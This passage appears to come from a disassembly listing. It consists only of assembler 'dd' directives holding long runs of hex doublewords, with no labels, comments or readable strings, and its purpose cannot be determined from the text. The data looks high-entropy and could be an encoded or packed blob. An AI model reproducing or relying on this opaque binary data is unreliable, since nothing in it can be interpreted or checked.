0D37C24A3h, 0DEC7AECAh, 34CCCDCEh, 381896A0h dd 3A383A59h, 1A39153Bh, 1D1B181Ch, 546F7675h, 3F6F155h dd 21402DE9h, 0E6621BECh, 23473813h, 0ABDF5C93h, 0D3A3B3Ch dd 382E2D9Eh, 9E4F4D33h, 0FE0A41Dh, 55C7CC21h, 192A28A9h dd 0C12D17D4h, 32B5B420h, 3F905C30h, 0FF5D55F7h, 529480Eh dd 61BC92F8h, 6D655656h, 77626366h, 4C5E2747h, 44445844h dd 5576434Bh, 777118F0h, 39575E74h, 61BC5E2Dh, 40556870h dd 651F7B53h, 654A5565h, 732F2634h, 4C0B2961h, 58484763h dd 2B5A7045h, 5D71780Fh, 637B1E39h, 5A4F6D1Dh, 9E3F5D10h dd 0CB4B6E4Fh, 0AD2C85A0h, 7FF880A7h, 6326B9ABh, 0F73F1002h dd 5D365435h, 0D72FC63Eh, 0BF3F3FE7h, 0DE2F4244h, 0D325E244h dd 0CE174C51h, 992C2C87h, 2B2F21ABh, 27301A2Fh, 33240136h dd 0B03D89A0h, 3B4D07BCh, 50391BAFh, 13721F2Eh, 0F196E323h dd 4120771Ah, 2F90BB6Ah, 25D02Fh, 94458BA4h, 15FCB436h dd 9C33258h, 12D73F31h, 0DF1DB6D1h, 72232223h, 980352AEh dd 0D92FA121h, 605FE77Ch, 9E3AE265h, 44374675h, 6FB23A49h dd 1B303E32h, 1F111D13h, 232D212Fh, 2729252Bh, 242A26D7h dd 202E222Ch, 3C323E30h, 38363A34h, 3B35C638h, 3F313D33h dd 1E121C14h, 222E2010h, 29DA242Ch, 25292727h, 212D232Bh dd 3D313F2Fh, 0C9353B33h, 3A363838h, 0BA3FDC6Dh, 5DA77654h dd 0E54B9319h, 4EBB67A2h, 28934CBBh, 0C5E47321h, 0B008CFF0h dd 0FA16F059h, 0E1D083EEh, 7C8FEC1Eh, 0DA70BDA9h, 81C9C939h dd 4FA22000h, 99F00093h, 47AF2B09h, 2F0FEDDBh, 0F58959B0h dd 675CA93Fh, 24F5B1E4h, 2A5CD66Eh, 94169D13h, 65B2AAC8h dd 56747020h, 0BAA5033h, 0B622D2Dh, 1776B82Ch, 6024642Ch dd 40323829h, 0B4263F7Eh, 93150C55h, 20C09A1Bh, 0AB777573h dd 0BB662957h, 2A2AED29h, 32D1617Fh, 36D74331h, 0F632973Dh dd 3C85AEF7h, 4B1C11F3h, 29046B95h, 0DA172375h, 0AD27D1A3h dd 2E2C2B8Dh, 0F1B529A5h, 35A9B73Dh, 0C1BB3436h, 6B2E4EC5h dd 0CF5D73Eh, 0D894E1E0h, 20E722A2h, 2B53D9A0h, 0EF2B7476h dd 0CF7918A6h, 34EB1E24h, 32AF2DEh, 234E3D39h, 9E2C3A6Dh dd 9D8A5F1Bh, 5FCA7127h, 2F6FE487h, 0E83E2923h, 0AEE1409h dd 0CCCD41B5h, 22BDCA14h, 16FAE3BCh, 6D581DFEh, 1C5CBCDBh dd 1EE124DBh, 0C67A8762h, 0AB727579h, 28BFAEEFh, 31935D8Bh dd 1271BF62h, 0BF6F3077h, 0BFCCB7FBh, 191C1B48h, 6FAD116Ah dd 0E122E42Ah, 688C6B6h, 8D4EB2C2h, 210E2E0Bh, 0B90537F5h dd 2FB33517h, 397E3BB1h, 95E377B3h, 0DC7F2E51h, 7D7DE4AAh dd 1378892Ah, 274392D6h, 0A0093591h, 5351DA32h, 0B6BABDF5h dd 3C3F7A95h, 146F2EB1h, 0DE0C3BF4h, 20E65F23h, 31CE312Ah dd 0EF7A2AEAh, 29C6202Fh, 1131F3B5h, 0DF3A36F0h, 38FB28CEh dd 0FC3FC978h, 0F8F51718h, 73E723DDh, 0CE2F27E7h, 0B22AEAF1h dd 3A242FEFh, 36D8B3D3h, 32DD74B0h, 0AB0F20Ch, 21FE0FBBh dd 131C1E7Eh, 276704CAh, 0E5A100F5h, 1A2A275Bh, 2FCCEAEAh dd 9630C77Eh, 34343188h, 0BA3CF3B5h, 48FE2F2Dh, 2CF33B54h dd 28249C79h, 2557E2A4h, 39AC2E65h, 2E3B2CA0h, 2042393Ch dd 3D623920h, 7345885h, 13320830h, 10360A66h, 179E3A2Ah dd 24D0C60h, 0C6FCAA76h, 9AF92E19h, 0FA291D1Dh, 1E7630A0h dd 0C5956E6Fh, 3FEA8D25h, 1E261A1Eh, 0D677973Ch, 0A2394F5Bh dd 25A5452Bh, 0E6300F81h, 0B2A6FDD4h, 330740Fh, 0B3C30732h dd 44C1B3ECh, 379D080Bh, 7D0FCB9Eh, 9AB341Bh, 873C07AEh dd 515A7227h, 0A6307B36h, 3133DBAAh, 754943D2h, 69286567h dd 8C29C46Dh, 0EF207937h, 90D36211h, 792AF321h, 179F797Eh dd 22AA6CC0h, 3EAEDB35h, 0A262EBCFh, 0C6A3BB50h, 0BE200FF9h dd 9A6A4205h, 1D9C0D1Eh, 2620A044h, 8DDC27A3h, 0C428AFABh dd 0A8CA2FABh, 31B5E832h, 35B6FBE6h, 25385980h, 38202BBAh dd 0E409883Bh, 0A0BA2CDFh, 0A6DC702Ch, 0C60DAC2Fh, 0C62C257Bh dd 3230FB60h, 0ED290923h, 0C5693935h, 3A2DEBBDh, 4D501AFFh dd 207026F6h, 7524D083h, 0FBD032D9h, 279C2322h, 815AAB2Ah dd 340AB237h, 0B9383536h, 3DA7BF35h, 3C4DB43Dh, 0D0774C19h dd 71252214h, 1E126367h, 191B6F29h, 1D681Ah, 0C0B3277h dd 30377306h, 533B5858h, 2C535F4Eh, 1F59181Ch, 146D666Fh dd 50242509h, 59444028h, 2D2E4B5Fh, 5D41315Dh, 52585459h dd 49725C5Fh, 177E134Fh, 157D191Bh, 41440069h, 69054540h dd 44404449h, 612DCC1Ah, 50231063h, 53785463h, 5F4A4B3Fh dd 161D647Ah, 345C566Bh, 53555C42h, 73826350h, 2898B725h dd 4A436761h, 35304147h, 0A9157523h, 7D777416h, 5C1E3A1Ah dd 6F3E171Eh, 201F3034h, 20625E47h, 0E94C40ADh, 4AA1672Ah dd 0A02B6E77h, 7F704357h, 0D05B2206h, 743C7B0Ah, 1F1FB50Eh dd 756B2E5Eh, 361171B9h, 7211666h, 0CE197A69h, 69532DF7h dd 32B3E903h, 0B6FD0671h, 8D097C39h, 783FBC82h, 1FDCB228h dd 83B8C8E9h, 0A5F5093Ch, 16A90467h, 3E6AA601h, 323230ABh dd 96363488h, 3ADB92A3h, 4A3C0C7Ah, 1ACC7329h, 0E0F5415Eh dd 0EEAF2792h, 0D941CF76h, 272D7B28h, 0A032BBF8h, 0B13B31A5h dd 3AB837B2h, 2249CDBFh, 1ABB3156h, 4A3F1E1Dh, 89044ADEh dd 894330E5h, 7C2F2A29h, 300AA749h, 0D8B03235h, 0B61650Dh dd 0B57B6DE2h, 0F3331A61h, 0A081E29h, 7BBCE125h, 777230A4h dd 0EBC2E7A3h, 0D0D04A0Bh dd 7D329DD9h, 6F364954h, 1F76B469h, 322AD50Ch, 9EB819EAh dd 0C1AEAD13h, 1A29C536h, 0D8172DD3h, 0ABA8232Eh, 20264B24h dd 2B35D73Eh, 3B53D0BCh, 0E2AABCAh, 0A4C1955h, 4901A7Eh dd 0D8E07283h, 233FAECBh, 3CECFEC2h, 0FC32251Fh, 0EE073342h dd 0B46B6466h, 0D5D3744Ah, 8DD0BFAh, 0DDBDF636h, 29CB0F60h dd 0E73A892h, 0A0763F29h, 0AC6F6479h, 2DFA66A1h, 682EF771h dd 0F042D2FDh, 8DD71224h, 4A1C04DDh, 2166AD86h, 97E3DF22h dd 0CB817C26h, 5AC4000h, 2B5D71CDh, 3E577149h, 0FB341370h dd 0B66D317Bh, 970D9C5Dh, 60C92C68h, 266F77DBh, 0A1265CCAh dd 2D2DACA6h, 3E7FB94Fh, 364581BAh, 0C32DA627h, 0CB45B4Bh dd 11D319CEh, 212F1F11h, 0C5C1AE3Ah, 0EDCA39AAh, 0AA1C3C5Fh dd 0A4702F4Eh, 3C8301ACh, 59EE3E46h, 3ED7FA2Fh, 69BB1BDEh dd 2BCCE9E7h, 0FE2911FEh, 686B3565h, 7772E93Ah, 7B8E8F48h dd 32D2F32Bh, 781F2579h, 0F0A92A2Ah, 87EB131h, 15FEDC0Ah dd 67316D2Ah, 0D35B3664h, 6A8BD6C7h, 0CDEF3C3Fh, 13217D3Fh dd 0E6262674h, 365F3456h, 0D217B962h, 0CF964918h, 0A2763649h dd 0AC6B026Dh, 0ED4F2C96h, 63ED9D69h, 0C1375AA2h, 0CB78F67Eh dd 99A875F3h, 0BCFB6276h, 9FDA1E5Eh, 7CFE4FAFh, 252B506Dh dd 6C85960h, 1D653BBAh, 3037A136h, 0A2786245h, 6E443760h dd 64406346h, 601B6542h, 5C20623Ch, 24075E02h, 765B0359h dd 6570C55h, 4C07522Dh, 486C4E18h, 634B361Eh, 61475A45h dd 673F0E41h, 632C612Dh, 23165D13h, 115A1058h, 13561E54h dd 5317512Ch, 4F1C4D10h, 893919A0h, 6B4115A4h, 13A14A37h dd 32861914h, 2D227F59h, 5909BA20h, 0BD31D95Ch, 205DFE07h dd 207E1CB0h, 0ED712670h, 287F24F5h, 77562CBFh, 109C3A2Dh dd 3EFB0E02h, 0D1159927h, 189D1B16h, 9A28FB1Dh, 0B14D491Fh dd 5D652F16h, 2939372Fh, 6E3D3B38h, 0F423273Eh, 0DE141EACh dd 264B72DEh, 0A8A72425h, 0EF10FFD6h, 5E2A3959h, 330DE7Bh dd 0D300350Ah, 20AA3A6Eh, 3F0F3E7Ch, 33A8991h, 373B120h dd 4F757676h, 0D4092B18h, 2F0A2B39h, 0BAB7F3B3h, 7F78BC32h dd 792FB23Ch, 1F5CD539h, 58CB9513h, 2B31263Ch, 2A0F26BDh dd 1AE52DD8h, 0E4CD44F3h, 6AC16DDFh, 162C8557h, 3BB23867h dd 4BC2C4B8h, 4C244D24h, 63B2DEF6h, 271646E2h, 41E632D9h dd 263C293Bh, 7B730274h, 55367135h, 63BA472Dh, 7DFD544Eh dd 7A3B1300h, 62FE7274h, 0E4222301h, 51450663h, 5584F5Dh dd 72242E29h, 555D4734h, 3AD05A57h, 0B868FB3Ch, 79393E34h dd 0DF57DC1Fh, 2722213Ch, 64656125h, 6E627A08h, 2B620960h dd 0DB3B1932h, 6332B63Eh, 0D3323DBFh, 5D0CCB20h, 7A3E9D19h dd 0C0C9271Dh, 2A274766h, 0C22F2A40h, 0EA2F4FE5h, 373F563Eh dd 34748EDBh, 6B5D1C7Bh, 0D6393E3Fh, 611E1896h, 35231D1Ah dd 23A7BBCAh, 2B2EA18Ah, 9900BA7h, 71332F86h, 3DC76F18h dd 0F8BCBA9Dh, 576C6938h, 0EA1A373Eh, 4A1E1EC6h, 44F83909h dd 0CBA4274Fh, 6C29EB2Ch, 142B6203h, 0FC1E327Dh, 38733535h dd 0B55D3939h, 1BC71AA1h, 0FDF6911Fh, 2F230060h, 679630DBh dd 93C22958h, 23EF3404h, 3C3EFF2Ah, 92363A34h, 7A865319h dd 0D24351Ch, 0F03AC3Bh, 2B232056h, 0D549124Ah, 0C2451E7Dh dd 152D893Ah, 3294EDC6h, 5FE7DD57h, 2813897h, 0F0B738F9h dd 756D5D3Bh, 265158B5h, 2023BB27h, 29E4E386h, 25CC7B29h dd 0F1049F36h, 363733B2h, 5C083FDEh, 613C3BCAh, 603F63B6h dd 65300DF5h, 0D6302BF2h, 3E4D2F2Ch, 330622DBh, 3A702472h dd 3E6C386Eh, 1CBB3C6Bh, 6A1ADB09h, 32D76F10h, 212E14DEh dd 6B4028E1h, 0AC324BE4h, 0C37AE7B8h, 0C4257D24h, 0EB384020h dd 7759B55Ch, 0B530F93Ah, 35FF598Ch, 426FEE9Ah, 60C9143Bh dd 26A44689h, 75EFA30Bh, 4A767175h, 0D23CB92Bh, 0F41DF03Ch dd 3B47383Fh, 58F25A8Ah, 1D131B30h, 21261F11h, 64B1A621h dd 2A6D2025h, 0D42F6A99h, 9463EABFh, 70DF3073h, 79353835h dd 3E79E639h, 1F5A0294h, 4B1C5BD2h, 61E22160h, 69BE8C26h dd 2F6E992Ah, 952C6FEAh, 0C1793174h, 7DA03574h, 7C35193Ah dd 5E6AB73Eh, 1C5F4C1Fh, 0D216BE14h, 8132010h, 581C4D1Dh dd 1919091Ah, 4A0B5208h, 0E00FFB0Dh, 7F001801h, 0E504EE06h dd 5F27FC21h, 4E1D4524h, 92195E1Fh, 0D515D11Bh, 6102417h dd 0BF0C7B12h, 3D08FD0Eh, 0BF077B09h, 81038105h, 0F823CD00h dd 0AA8B4690h, 0ACB1647Bh, 0A3CC237Fh, 7A7A72E6h, 35D82344h dd 0C34BCD8h, 0B234134Ah, 0C2B93BCAh, 0E2903D4Bh, 775FF64Bh dd 0ADDCDCA8h, 3C2EA61Dh, 2945EA1Ah, 0F2A1A328h, 0F236F24Ah dd 0FA69AE6Ah, 29237931h, 0FB8087Ch, 0F73E6F5Dh, 39E2A2E7h dd 0FACE21ECh, 0DBA16168h, 6EE3C57Ah, 0B864A7B0h, 0F6ADDDECh dd 6A32313Bh, 3CFE80D4h, 974B0F90h, 0ABC930C7h, 20642063h dd 6A2D698Ch, 57C52824h, 643A38AEh, 32DD3CBAh, 6DB8BC28h dd 6EF2B727h, 0E0F4144Bh, 2C29EDACh, 26A7CDCAh, 0E9B83E67h dd 6AEC2A4Bh, 633879A3h, 35DC32BBh, 0C6C4CB94h, 0D5E4B06Dh dd 0DB07BCh, 0C8E7954Bh, 2622E011h, 0AB76E5CDh, 6AC03AEDh dd 80C77A7Ah, 0F4653D31h, 29359E3Dh, 0C4B03A31h, 1A3F345Fh dd 6FB4179Dh, 0E2BE2042h, 26614026h, 7E2B6B72h, 886128AEh dd 31957532h, 0D337770Dh, 153B786Dh, 981D393Bh, 1F5A0419h dd 26268512h, 0D1258321h, 0C6298EA9h, 0CF872C8Ch, 95E73088h dd 3692FF33h, 8F399AF7h, 2D6C3C2Bh, 0C1B907Bh, 20189C97h dd 0B40C22B3h, 437E26B7h, 58185706h, 19163F3Fh, 55388E22h dd 56B8F24Ah, 0FE9C6665h, 1ADCC0BBh, 82E0447Dh, 2F5732ACh dd 2C8719AEh, 0EA54A12Ch, 5056CF29h, 2475BF2Fh, 0B557AD04h dd 7F07C705h, 11028800h, 7C202722h, 1CFC1Eh, 0C419B81Bh dd 0AB2B2917h, 172F2D2Dh, 3123230h, 7A5055Eh, 0A2909E8h dd 0E9C0C6Ch, 2C102DD8h, 10A3124Dh, 15281680h, 1E801B60h dd 1ACC18E9h, 70804D0h, 180154h, 6B3AFC67h, 0D6B56C69h dd 519D497Eh, 20C89432h, 45752933h, 3908D76Bh, 0A459EBAFh dd 0DD316F5Bh, 0F7A022B3h, 782F372Eh, 0D467692Eh, 8033D32h dd 373D060Ch, 7C30C672h, 3BC5256Fh, 4434CB31h, 61794E22h dd 2033778Bh, 67673EB5h, 0BC6532B0h, 403B6EB4h, 5F46D99Dh dd 63E10B25h, 20654123h, 672D6960h, 27A7F972h, 39A23638h dd 3709F934h, 4193907h, 0BE3E0B3Ch, 0B49D0CF7h, 9639AB49h dd 27E53C07h, 0A72DF427h, 3E094CA7h, 7233302Eh, 37A5B02Eh dd 0B130B0DCh, 0B33D4D2Eh, 1E7C3B65h, 2C203F14h, 13F733Eh dd 497F7676h, 56C4797Ch, 1770E14h, 33BA467Ch, 3FC834F5h dd 28C359DAh, 1C8ECBF6h, 0D8941AE3h, 9A84354h, 28D7822Fh dd 462AE97Ah, 70D0792Ch, 1C3705C9h, 0F0863535h, 0C8D3271Eh dd 3B7FAD3Dh, 8F3E5948h, 31D1C93Eh, 24263E67h, 36E2322Ch dd 342D6AC4h, 26323030h, 3F02E71h, 2E392279h, 7D5A19A8h dd 285EDF00h, 0E53520BBh, 20651060h, 0C23633EFh, 35EEABA1h dd 353141C3h, 47CF3733h, 3A293037h, 6F413438h, 0B1F1B18h dd 2B206E3Fh, 54002022h, 0AD282C26h, 2D5D1929h, 71332F22h dd 38243343h, 48763436h, 3E3C353Ah, 1C6A637Ch, 4A1C1E12h dd 2C332250h, 595F2525h, 2F2B3B29h, 38C3ADADh, 40BAA231h dd 0D03F2611h, 45B9B66h dd 1FD73A73h, 1FFEBBF1h, 0AE250564h, 7714256Ah, 330E6DEFh dd 0C72C292Ch, 0B8CD5C90h, 0F03A1178h, 19363F1Ch, 0BD60FBB3h dd 40D99F3Dh, 5CAF650Bh, 26BE8481h, 2288782Ah, 0EFFC2D2Bh dd 3940BF25h, 0B76657F3h, 245AF814h, 0FF747C5Dh, 9A3C9B5Ch dd 3D045B7Dh, 0CD7A612Bh, 90262763h, 0F9CE81BFh, 22B42E2Eh dd 1F2C7331h, 75B956F6h, 17D42332h, 546E303Ch, 581DF8BDh dd 0E4A72FA1h, 0AC4F2951h, 2B8A2Bh, 38082E4Bh, 15333015h dd 0B1510637h, 1A1F3A75h, 331B6AB4h, 2F1408E3h, 83FA3441h dd 374C3D29h, 0D4791978h, 2ECE1939h, 77F443F0h, 371E1174h dd 0B9054C39h, 3F3A8432h, 2D16BC1Ah, 65DADDFh, 25251421h dd 88AAA05h, 8EA923D3h, 1B4994BEh, 94843702h, 5910A7C7h dd 3E6C6C13h, 0BD0CE34Bh, 2C306267h, 156036DDh, 0E1B1A24h dd 582E2BEAh, 91B6A44Ch, 0E5369235h, 6E101362h, 8FE94C9Ah dd 0B21A3E36h, 0E21CAB51h, 1A209356h, 45268370h, 890C2B88h dd 318E982Ch, 35935B28h, 35D5E68Dh, 0F729891Ch, 82E5D432h dd 5CC112DAh, 0F22DE221h, 28E724A1h, 2AAFEA9Eh, 8A9B22EEh dd 943DF331h, 0F5733491h, 3A9AA037h, 0FED60D84h, 0F81FB914h dd 6FAC2FC3h, 52574157h, 443F4146h, 346818EAh, 7321F15Ch dd 4435555Dh, 66405054h, 0BE495968h, 7A72724Bh, 64301F6Dh dd 22AD283Ah, 0AF2E3F26h, 48406E79h, 43442F4Dh, 565D5D5Dh dd 4B387616h, 7860484Eh, 1C5C1F7Fh, 735A535Ch, 21643220h dd 1BCF2E35h, 3C2A853Bh, 202B0570h, 76F3DA36h, 5727379Dh dd 3D393A27h, 0F3773832h, 101FBA39h, 2C213C09h, 44CE0121h dd 37724A2Ah, 0C72A222Fh, 329BF014h, 0B42D8B3Bh, 31D23A3Fh dd 79163F9Ah, 0F61F1B9Fh, 3D362000h, 0E6253F23h, 0F1E258FCh dd 0A649C0A8h, 7367657Ch, 0F9DD18F0h, 3A380ED7h, 7AFA283Ah dd 191C671Bh, 0E29EF73Ah, 0E5E26723h, 7FC02627h, 0EE2D8B9Ah dd 0A0302CB9h, 2034531Bh, 53145D66h, 34A5B96Ah, 4909A93Eh dd 115106Bh, 0CDFB432Eh, 4886A9BCh, 0ED1BA9F1h, 50ACC705h dd 9327036h, 7D4F74DCh, 56D26C38h, 9A3E7C42h, 3F9ADC48h dd 22A77D89h, 6927A596h, 0CB2BAC3Dh, 0AA6E2CACh, 33333F31h dd 5DF379Ch, 9A06389Dh, 3E9B193Dh, 1E1852EBh, 2623251Ch dd 59107A26h, 186B2C26h, 1C592F7Fh, 3019DFh, 21673701h dd 995C3A9Ah, 9C1A3E9Bh, 1D323C3Dh, 437B142Ah, 2C5C162Ah dd 72082453h, 172F2E2Bh, 5E7C0F14h, 65175A55h, 4A3E152Ch dd 6BC6618h, 189D3F3Fh, 0F1171Eh, 62ECA76h, 0D82D13C5h dd 0CC507BA9h, 0CFAA2240h, 0B7363245h, 564237CAh, 625BB76Ah dd 2AD76D11h, 153E263Ch, 0A4616038h, 1768AE21h, 0A2EF29A1h dd 5A1E53ACh, 774BA0Eh, 363974h, 6C026FB3h, 1CBB4E83h dd 9270B097h, 23275C3Ch, 0D04907A0h, 760AAB27h, 0A12DD9D4h dd 4D7F4F0Ch, 0B046837Dh, 85774714h, 1D12C348h, 53626880h dd 212F05E1h, 252B232Dh, 22992729h, 909D42Ah, 3141273Eh dd 1D7C033Eh, 6B3012C9h, 468A3AABh, 2BDA3F7Eh, 501F6F9Bh dd 2452B322h, 0B42FA648h, 0F3B2A58h, 0F02F5F8Ah, 45E88006h dd 8515B635h, 149B3A48h, 1B3F4FF5h, 6ECDAB3Fh, 0F80B0120h dd 7562555h, 462A58CBh, 5EC002FCh, 0C552E130h, 57E63545h dd 3B12D16Dh, 207F6417h, 359CC491h, 228579DDh, 0E5C5AE4Fh dd 2929AFCEh, 22AC39EBh, 94B433CEh, 3595B130h, 51D2F805h dd 2237055Bh, 7D3C3A3Fh, 99723B1Eh, 26243323h, 2029ECA5h dd 0D2E4132h, 1574A678h, 15345316h, 5528A835h, 6B387A31h dd 0A9CED76Eh, 70178B9Ch, 0FB32E18h, 281323C4h, 2725F542h dd 342B2B22h, 3763FEF3h, 574F16CAh, 2AA4E137h, 6B4528A6h dd 0E7088570h, 35BD7E90h, 97262D57h, 1AEEC12Bh, 0D0FCEF2Fh dd 0B3FBBA31h, 61637530h, 3B3EB46Fh, 475B0BCh, 75D83096h dd 0CA162116h, 0AD80242Bh, 2AE0ABDFh, 0DCED1FD4h, 19E0C781h dd 0F7BECD33h, 0C7B2CFBCh, 3CD43CFAh, 0D597BECCh, 2220FE9Dh dd 0AE4287D1h, 29797F6Dh, 0F1003ED5h, 0CE152E2Ch, 1A3F49C4h dd 3B383429h, 3048BF29h, 1BA23C2Eh, 217EE1E2h, 0AD27C921h dd 40330279h, 3ED91D89h, 33994C3Dh, 0E43A028Fh, 38F13F07h dd 3F3BA9BFh, 9339D53Ch, 1F6E838Eh, 2157BD48h, 26D0B8CCh dd 2ADEBD4Eh, 2B462D5Ch, 4631D386h, 653EA0F5h, 399AB737h dd 61FE0E94h, 8B15139Bh, 2C0E232h, 36F48F89h, 482B8217h dd 0E210D38h, 30988F05h, 363A157Ch, 3A363838h, 0B3452FBBh dd 4E109B2Ch, 0AA77494Bh, 0FE4F22FBh, 3A98AD77h, 1D374BBFh dd 0A38B96Eh, 753247F1h, 693AF7B5h, 0F2783ED1h, 63593EF0h dd 0EF94484Eh, 613333C9h, 0E9D3C66Dh, 0C2C3E596h, 64C610ADh dd 0FD7A377Dh, 936CBEF1h, 0E8B034F9h, 0D2770230h, 0CAD75C3Eh dd 478001A0h, 35C1E582h, 28D94D8Bh, 4C6DAF6Bh, 0A3A000A1h dd 0B5288405h, 285C6156h, 0D699D56Ah, 4C060EFCh, 6B005312h dd 17B015BCh, 28C17B10h, 0A52E6F5Bh, 64CEB5D7h, 0DE3BAC47h dd 0C839DC56h, 0EE6ED438h, 1B186A3Fh, 19F1A6Bh, 652157B2h dd 59173781h, 7C4F7A7Bh, 37EA22Ah, 0F571A353h, 21182B66h dd 1B3875B7h, 0BC5D19ACh, 2D008C2Dh, 3786E249h, 0B737A828h dd 8D292A3Eh, 332F1226h, 763EDA15h, 5B226189h, 2ED3019Ah dd 14985CC0h, 251FFE0Fh, 0C1ABCCC8h, 0C436E225h, 2B707964h dd 474D4C6Fh, 7D1C6D55h, 7F627078h, 3B383D29h, 7A37CE2Ch dd 6F6D5115h, 27AE2FFAh, 6464737Fh, 1E291926h, 4C4C7B77h dd 5B27760Fh, 2EA7FC73h, 6D3AEB3Ch, 5A3D5252h, 3D6F6C50h dd 914F6D4Eh, 51475646h, 0B28A776h, 2F438A4Ch, 65726F0Fh dd 0B5521516h, 2FC71D36h, 7C44DBEFh, 419B5928h, 2CE04F07h dd 23E3B634h, 423F1645h, 7A697839h, 0CF072C6Dh, 41310624h dd 22432ACAh, 91BA8938h, 97D7513Dh, 5E1CB8DDh, 0A8074105h dd 372634F9h, 2C074B5Dh, 222E0323h, 75283431h, 445F5B5Dh dd 5F225C50h, 15BE5C1Ch, 7F3D021Ah, 47552879h, 4B15A551h dd 2A5C464Eh, 5D05495Fh, 545E1006h, 0B3B41431h, 5D575159h dd 31233C15h, 4D9E0639h, 0B9A3BB9Eh, 2750CBA9h, 0A021A57Ch dd 83DE3A59h, 1AE12FD9h, 0BEE5B8CBh, 0C4D2BCC1h, 0FE9972FBh dd 8DA9B77h, 279B16DDh, 2C23D5ABh, 0A324A4D8h, 25A165E3h dd 0B5266DBDh, 0E251B3F1h, 0A442B2FCh, 6F373352h, 4E2A6F20h dd 4A1D6811h, 2232215Bh, 0A18E25A1h, 2B283529h, 212FB92Fh dd 30323220h, 33383496h, 8B783A38h, 3F3B333Dh, 101CA218h dd 21212819h, 212B25EFh, 0BF32B27h, 2E25222Ah, 3C30D82Ch dd 3531343Ah, 303739C1h, 9D393F3Bh, 161B1B1Eh, 222091DFh dd 0D9AE35CBh, 190D826h, 2C2C68D8h, 0EDAF4FC7h, 26F8CCCDh dd 81A63336h, 0FB43E6Bh, 821C92D7h, 0E68117BFh, 0BA23AB0Bh dd 67682455h, 61A6653Eh, 5EC6EA6Dh, 35CCCEB7h, 3AA65032h dd 62D2E63Eh, 0A387393Dh, 1D3F1F13h, 27087122h, 21502727h dd 292F752Ah, 3D7B2C2Ch, 3126A832h, 0E8321A61h, 6DBC1AB9h dd 3E2FFD17h, 1C122819h, 562322A1h, 352720B6h, 28B42A28h dd 2D260429h, 0A2809B2Dh, 34493C7Fh, 365DD835h, 663F38EAh dd 1D031B20h, 212F1F11h, 252B232Dh, 29272729h, 222C24D5h dd 3E30202Eh, 3A343C32h, 36383836h, 3D33C43Ah, 1C143F31h dd 20101E12h, 242C222Eh dd 27D8262Ah, 232B2529h, 3F2F212Dh, 3B333D31h, 0C7373935h dd 3C343A36h, 0DDB43FFDh, 158EDE42h, 0A33A2C20h, 2636C9A5h dd 29A32B28h, 2F4639B1h, 0B030A930h, 2C8FDD58h, 0B668B919h dd 3F261978h, 1EC7E04Eh, 0E6A2211Dh, 271A92Fh, 0A7282827h dd 1D3D0867h, 0BB6330EFh, 0F131107Fh, 32311C73h, 313D333Bh dd 1D13043Fh, 212F1F11h, 252E232Dh, 2940D84Ch, 2D6F9022h dd 31914B2Fh, 51643732h, 3D3812BFh, 0B66A3B6Bh, 386FB6CFh dd 0A015F619h, 0C44FFA30h, 289FCC90h, 3D65A728h, 240B6AEAh dd 0F3373231h, 7BD66A33h, 3CBF5EBBh, 745D5B4Fh, 971C3C73h dd 0C14B514Bh, 4C222566h, 4F5A0D9Dh, 3C010D02h, 2748E031h dd 17021835h, 5F38BB68h, 65FC3DACh, 2C152E13h, 2921002Eh dd 10171621h, 0FA295A18h, 482CDD2Ch, 0E5B0611Fh, 361D1464h dd 0CD692C07h, 8FFFBDC2h, 1F9F492Bh, 0F2DF1F2Ah, 0C2E5DBA9h dd 0FAF8D836h, 7D7BD321h, 3F61BB20h, 711C4FC1h, 3D680F12h dd 513FFB62h, 60AB3487h, 0B02B531Dh, 70AA5A3Fh, 98570401h dd 89D85E28h, 5A43092Dh, 0DC621281h, 0B99CAE34h, 483A1839h dd 3D133F18h, 1E3B091Dh, 644F194h, 27B78D25h, 0D462809h dd 0A16FF2Dh, 1657E931h, 37A79935h, 0B36C3819h, 3F7F3C1Eh dd 321C394Fh, 81352139h, 9D052462h, 0AA4DCCA7h, 2E6CCC2Bh dd 3270E099h, 0D25B34D7h, 3ADD4137h, 3ED969BCh, 801CFFADh dd 0C5881FFAh, 0C1719522h, 29CCE626h, 0F72CCFE6h, 0A4D52FCAh dd 0D1C433D6h, 39DCC936h, 3DDF9433h, 1CFF2B04h, 21FFE02h dd 443642FFh, 1FE29537h, 0B42E28A9h, 2B0F2A0Ch, 3B333D6Eh dd 0B9373535h, 777F7A7Ah, 976F7A7Ch, 55AE2DA4h, 22CA6572h dd 3F766547h, 0CAEA417Eh, 0AAA56E3Dh, 2B6092F0h, 2F43A324h dd 7CA6387Dh, 0BB7A323Dh, 955E2C65h, 2301802Ah, 5495664Bh dd 89FFD765h, 8F2CBC37h, 0B4BB1C2Eh, 0B6454433h, 743DDC18h dd 11D51800h, 0C681ADDh, 0C9701E0Bh, 24363D70h, 3D982A53h dd 395A6B3Eh, 605FC68Ah, 460897E1h, 0AC7917BDh, 87D4F462h dd 1B9F1F3Eh, 54728ED5h, 22233361h, 0BA1EC5CDh, 0A79F3647h dd 0D821F629h, 0CB3432E7h, 1C7BBDCAh, 3D3B502Dh, 8B8D66Bh dd 3F25E2E3h, 492B55D3h, 4D962525h, 4B292827h, 0D0274FC4h dd 335A76CFh, 377200D8h, 1FAEB439h, 3C3E993Ch, 52904E4Ch dd 0CA5D203Bh, 0D9DA2807h, 457BA84Fh, 0AD12382Bh, 1865382Fh dd 0E33D3469h, 3B996B35h, 29AF3724h, 22EA113Eh, 5CE11A1Fh dd 9003322h, 0CE2226F9h, 2FAA2AE9h, 2130668Ah, 3F35E66Fh dd 3C39312Eh, 483E7239h, 191A7B10h, 3C1FC684h, 2500B0B5h dd 2929392Fh, 0BAA52078h, 3A7F27DDh, 64613881h, 3E3EC55Dh dd 0C395A4Bh, 1EE35604h, 0E03E1F1Ch, 21FAF135h, 0CF4A2DC5h dd 2CFA784Eh, 57C62458h, 35D10FB0h, 3E05305Ch, 0C45B99BDh dd 0B7D73C8Ch, 530D2D7Ah, 0B2EBC82Dh, 0EA34953Fh, 45A55C54h dd 0DA0BEC5Bh, 42415F2Ch, 5702BB83h, 93A7C73h, 39FF066Bh dd 0A7D91D8Fh, 10C7B1Eh, 44504C56h, 5A08274Ah, 5E48454Fh dd 14300F14h, 463E3356h, 39565655h, 52521B00h, 68681F4Ah dd 546D7F9Dh, 23234644h, 49274A32h, 622F2A50h, 202F4F41h dd 40567C30h, 3A37A795h, 297A3D74h, 109FB6EDh, 1F535951h dd 4E6E1D21h, 459611F5h, 292A7D68h, 5D42425Bh, 217DE15Bh dd 3615323Dh, 0BC48AD0Ah, 53AE00ACh, 581810DAh, 0B973537Eh dd 0D6242621h, 0F11B7F2Fh, 